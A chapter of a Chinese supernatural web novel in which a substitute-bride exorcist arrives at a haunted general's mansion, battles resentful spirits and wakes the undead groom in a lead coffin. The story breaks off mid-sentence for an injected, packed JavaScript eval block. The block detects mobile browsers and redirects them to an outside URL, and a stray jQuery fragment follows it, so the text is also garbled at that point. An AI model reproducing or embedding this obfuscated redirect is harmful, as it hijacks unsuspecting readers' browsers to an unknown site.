崔荧承认在一开头看见裴家的全副武装后还敢继续上轿的她有赌的成分,但毕竟沈充一开始也讲了南漓术士暗算了裴绍疆,说不定人家只是一不小心带了点什么不干净的回府了,她也算术业有专攻,就当是能者多劳做点好人好事,毕竟十五件法器的报酬真的很可观。
但这一路裴家所谓的基础安保四面透风不说,她还得为了自己的小命不断出手相助,崔荧是越记账越心惊,暗暗发誓这钱必须得结束后让裴绍疆全包,什么将军不将军,谁来都得付费驱邪。
在崔荧用瓶中的香灰解决掉第五只不开眼想要爬到她身上的怨祟后,喜轿终于到达了将军府。
“少夫人,该下轿了。”
合上手中的账本,在丫鬟的搀扶下崔荧下了喜轿,看着眼前将军府的状况她“鬼眼”崔荧今日算是开眼了。
那一刻崔荧脑子里只有一个想法,那就是转身就跑,然后翻进沈家捅死沈充那个老不死的,再接着一路逃回西州。
这就是他说的只是重伤?!
由于这场婚礼的特殊性,裴家提前封锁了喜轿途径的路线,对外宣称沈明珠身体尚未调理好,不宜见人。
因此现在府邸周围的百姓都欢天喜地的领了银钱被疏散到了后面的街道内,整个将军府周围寂静的像另一个世界。
裴将军是个大大方方的,将军府大门洞开,以崔荧的能力可以将整个府邸的状况尽收眼底。
朱门高墙,庭院深深,在这些仆役眼中只是觉得有些莫名的森冷,但在崔荧“鬼眼”中,这画面绝对是她此生难忘的热闹场面——整座府邸都被粘稠怨气笼罩着,赤黑色的气体近乎实体的凝成一条盘踞的巨蟒,蟒首高悬正堂,空洞的眼窝淌着脓血般的煞气,每一次吐息都带起刺骨的阴风。
那些从府中出来迎接崔荧的仆役,肩上或多或少都趴着灰白色的“垢”——这些是被府中煞气吸引来的低等游魂,他们靠吸食着活人的阳气为生。
而那在大门口笑意盈盈地迎接着崔荧的管家崔荧更是不敢细看。
那玩意具体是什么实在不好说,但崔荧敢打包票,这家伙绝对是鸠占鹊巢——毕竟应该没人会雇佣一位身体主要构成元素是怨气的管家。
看这架势南漓术士之所以暗算裴绍疆,估计是因为他把人家养的魑魅魍魉全领回家喝喜酒了吧。
崔荧开始认真考虑裴绍疆会不会给她结尾款这件事了,毕竟他看起来雁过拔毛到连扫地的怨魂都没给对面术士留下。
依照大齐相关规章制度,如像“垢”这种低端邪物作祟当属为戊级事件,无需阴阳客出手,寻常官府便可以解决。
而当“垢”的数量达到十名以上则升级为丁级事件,须由官府或个人聘请一名阴阳客作为解决。
当事件中开始出现领头的智慧个体与范围扩大开始影响周边时,则为乙级事件,需要有资深阴阳客带队配合当地官府进行封锁清理,稍有不注意便有可能丢掉性命。
至于更往上的甲级事件,自从二十年前因甲级事件导致南漓与大齐再次短兵相接后,在两国长期对峙与消耗中因阴阳客和朝廷的活跃已经很久未曾发生过了。
崔荧眼前的这座将军府保守估计是个丙级事件,单看那个笑脸相迎的管家,别说是有智慧,他看起来简直是都有点智谋了。
只是不知道裴家用了什么手段,这么强的煞气冤魂竟没有半点影响到与将军府无关的人和事。
“少夫人当心门槛。”怨气凝结的管家面不改色的从丫鬟手中接过了崔荧,仿佛头顶垂涎欲滴的巨蟒并不存在。
崔荧向前一步踏过门楣。
“嘶——!”
巨蟒携带着冲天的怨气直奔崔荧,獠牙直噬面门!
虚扶着崔荧手臂的管家面容逐渐扭曲模糊,像沼泽一样粘稠冰冷的黑气不断攀附着崔荧的身体……
崔荧腰间桃木剑自动弹出三寸,剑穗铜钱不断发出嗡鸣,面对这突如其来的攻击她头都没抬地从怀中掏出一卷破旧的袈裟,只见那袈裟自动展开向头顶一抖——
“哗啦!”
巨蟒虚影狠狠撞上袈裟,如沸汤泼雪,狰狞头颅瞬间消融大半!
它疯狂扭动着剩余躯体向后退去,一直缩回到正堂梁上,怨毒“目光”死死锁住崔荧。
管家也像是触碰到烙铁一般迅速与崔荧拉开距离,一直保持着得体微笑的面孔出现丝丝裂痕,“高僧坐化后的金兰袈裟?少夫人好法器。”
平日里面对这种自以为是却反被打脸的“小鬼”,崔荧必然要冷嘲热讽一番用来彻底摧毁敌人心理防线,但现在面对着怀中出现丝丝焦痕的袈裟,崔荧只觉得这次敌人成功的摧毁了她的心理防线。
金兰袈裟,当世仅存一件,很贵,很稀有,且无法修理。
“管家,法器损耗…得加钱。”
崔荧的账本,快记满了。
可能是被崔荧的法器震慑住了,也可能是管家终于意识到自己取而代之的只是府里管家不是将军,实在没办法替将军做主该赔她多少钱,总之在崔荧沉默地抱着袈裟一副如丧考妣的神情中,他们这次平安顺利的走到了正堂。
整间喜堂布置得很是“新潮”。
红绸挂满梁柱,却掩不住缝隙里渗出的黑气。
火红的龙凤烛倔强地燃着幽绿的火苗,整体颇有种大俗即大雅的气质。
周围到场的宾客也是魑魅魍魉各显神通,崔荧发誓,就算在京城外的义庄也找不到这么全的死法——有的脖颈青黑浮肿,有的脚下淌着泥水,最精彩的还有个“脑洞大开”到“南北通透”的……
虽然崔荧是第一次结婚,但她大概知道婚礼现场到场的应该是新郎和新娘,而不是新娘和棺材。
别的还能说是将军府新式婚丧嫁娶牵头大齐移风易俗活动,但这口棺材实在是?
这是红白喜事干脆合二为一了?
看来老将军去世后,这裴家是真没落了。
很自觉的拿出债主的姿态,崔荧回头看向从刚刚起就沉默不语的管家点评道,“你们这太奢侈了。”
她指着喜堂中间的棺材道,“寻常上好木料差不多就行了,居然用铅棺,你们家的尸体难不成是会尸变吗?”
崔荧话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315291|198939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音刚落,只见满屋的“宾客”齐刷刷的看向她,而那口棺材还非常应景的开始疯狂震动起来。
“少夫人,您的嘴出生时一定在寺庙全方位开过光。”管家皮笑肉不笑的为崔荧的精准预言鼓掌叫好。
将手中的袈裟宝贝地塞回怀中,崔荧认命地从嫁衣下摆掏出一沓专克开馆起尸的符箓——多亏沈明珠人如其名是个身材丰满珠圆玉润的标准闺阁小姐,这按她身材定制的嫁衣在崔荧的干瘪身材上还有很多余量,要不还真藏不下这么多道具。
双方结婚前先找媒人合八字真的是很重要的一环,反面例子如“替嫁新娘”崔荧,目前来看她和裴绍疆不说是八字不合,起码是克财的。
【“镇魂符”,乙级上等,一次性符箓,一两白银一张】
裴绍疆,你家门槛可真高。
这真是得用钱才能砸得进去的门槛。
深吸一口气,左手提起嫁衣下摆,右手攥紧符箓,崔荧提气抬膝运转功法,一个箭步便冲到铅棺前,只见她狠狠的将手中“镇魂符”往下一拍,“啪!”
一声清脆的巴掌接触人类脑门的声音开始在喜堂中回响。
四周的宾客可能生前死后都是第一次见这种场面——将军府大婚夜,新娘选择用“茅山手法”和新郎亲密。
崔荧觉得她不应该在京城参加婚礼,她应该在湘西参加行业交流大会。
毕竟她可能是历史上第一位用“镇魂符”赶尸成功的人。
如果说崔荧的身量是高挑,那眼前这具“尸体”则可以用高大来形容,身着一身玄色喜服,更衬得他脸色惨白如纸,墨发高束,漆金的发冠上带着斑斑血迹,深邃的眉眼让崔荧不禁猜测他的家族可能有过异族血统。
这样一张养尊处优的公子相貌,偏偏一道狰狞伤疤从额角劈至下颌,整张脸像被劈裂的瓷器,连那破碎的边缘都透着边关的血气。
最骇人的是他的胸口,玄衣下,隐约透出半截折断的矛尖,锈迹斑斑,周围布料被不断渗出的黑血浸透,散发出浓烈的腐肉与铁锈混合的腥气。
他保持着一种从棺椁中坐起的姿势双眼一错不错地盯着崔荧的脸,只是那双眼睛并没有活人的光泽,更像是两潭凝固的血泊,深处燃着两点幽蓝的魂火。
冰冷的目光落在崔荧身上时,堂内所有“宾客”齐刷刷低头,瑟瑟发抖,但他却像只是在好奇眼前的女子为什么要在他头上贴这些看不懂的符箓。
崔荧认得那截断矛——南漓军中制式,从上面刻画的咒文来看,它曾经的使用者是一位地位不低的术士。
这个伤势,这般年纪,这般打扮,“裴……裴绍疆?”
试探地叫出对方的名字,崔荧好像触发了什么开关,一双苍白的手缓缓抬起覆盖在她拿符手上,随着力道一点点加重,双方的距离不断拉近,裴绍疆冰冷的发丝划过崔荧的脸颊,残破的身躯不断贴近,两颗冰凉的头颅最终亲密无间的抵在一起。
裴绍疆感觉自己好像有一段时间没有说过什么话了,粗粝的感觉摩擦着他的声带,他看着眼前陌生的新娘,良久才问出那一句,“为什么?”